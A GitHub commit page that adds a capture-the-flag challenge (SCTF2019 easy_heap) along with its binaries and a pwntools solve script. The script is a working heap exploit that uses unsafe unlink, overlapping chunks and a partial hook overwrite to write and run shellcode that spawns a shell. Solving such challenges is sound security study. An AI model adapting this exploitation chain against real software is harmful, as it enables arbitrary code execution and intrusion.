Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Sign up
Appearance settings

Commit 3efb826

Browse files
committed
easy heap
1 parent 3a1ad2a commit 3efb826

File tree

4 files changed

+79
-0
lines changed

4 files changed

+79
-0
lines changed

‎SCTF2019_easy_heap/easy_heap‎

9.99 KB
Binary file not shown.

‎SCTF2019_easy_heap/easy_heap.i64‎

202 KB
Binary file not shown.

‎SCTF2019_easy_heap/libc.so.6‎

1.78 MB
Binary file not shown.

‎SCTF2019_easy_heap/solve.py‎

Lines changed: 79 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,79 @@
1+
#!/usr/bin/env python
2+
# -*- coding: utf-8 -*-
3+
4+
from pwn import *
5+
from time import sleep
6+
import os
7+
context.log_level = "critical"
8+
context.binary = "./easy_heap"
9+
elf = context.binary
10+
libc = elf.libc
11+
12+
def add(size):
13+
io.sendlineafter(">> ", "1")
14+
io.sendlineafter("Size: ", str(size))
15+
16+
def delete(idx):
17+
io.sendlineafter(">> ", "2")
18+
io.sendlineafter("Index: ", str(idx))
19+
20+
def fill(idx, cont):
21+
io.sendlineafter(">> ", "3")
22+
io.sendlineafter("Index: ", str(idx))
23+
io.sendafter("Content: ", cont)
24+
sleep(0.01)
25+
26+
def DEBUG():
27+
base = int(os.popen("pmap {}| awk '{{print 1ドル}}'".format(io.pid)).readlines()[2], 16)
28+
print("\n================= DEBUG: ================")
29+
print("malloc @ {:#x}".format(base + 0x1023))
30+
print("fill @ {:#x}".format(base + 0x1219))
31+
print("free @ {:#x}".format(base + 0x1134))
32+
print("================= DEBUG: ================\n")
33+
pause()
34+
35+
io = process("./easy_heap")
36+
io.recvuntil("Mmap: ")
37+
mmap = int(io.recvline().strip(), 16)
38+
print("mmap @ {:#x}".format(mmap))
39+
40+
add(0x88)
41+
io.recvuntil(" Address")
42+
elf.address = int(io.recvline().strip(), 16) - 0x202060 - 8
43+
print("elf @ {:#x}".format(elf.address))
44+
add(0xf0)
45+
add(0x10)
46+
47+
ptr = elf.address + 0x202060 + 8
48+
fill(0, fit({0x0: flat(0, 0x81, ptr - 0x18, ptr - 0x10),
49+
0x80: flat(0x80)
50+
}, filler = '0'))
51+
delete(1)
52+
53+
fill(0, flat(0, 0, 0x88, elf.address + 0x202090, 0x88, mmap, 0x88, elf.address + 0x202090, '\n'))
54+
fill(1, '\x90' * 0x10 + asm(shellcraft.sh()) + '\n')
55+
56+
# clean
57+
add(0x168)
58+
59+
add(0x80)
60+
add(0x68)
61+
add(0xf0)
62+
add(0x10)
63+
64+
delete(4)
65+
fill(5, fit({0x60: p64(0x100)}, filler = '0円'))
66+
delete(6)
67+
delete(5)
68+
add(0x80)
69+
70+
fill(2, flat(0x1000) + '\n')
71+
fill(3, fit({0x228: flat(0x71, p16(0xdaed))}, filler = '0円') + '\n')
72+
73+
# DEBUG()
74+
add(0x68)
75+
add(0x68)
76+
fill(6, flat('0円' * 0x13, mmap) + '\n')
77+
add(0)
78+
79+
io.interactive()

0 commit comments

Comments
(0)

AltStyle によって変換されたページ (->オリジナル) /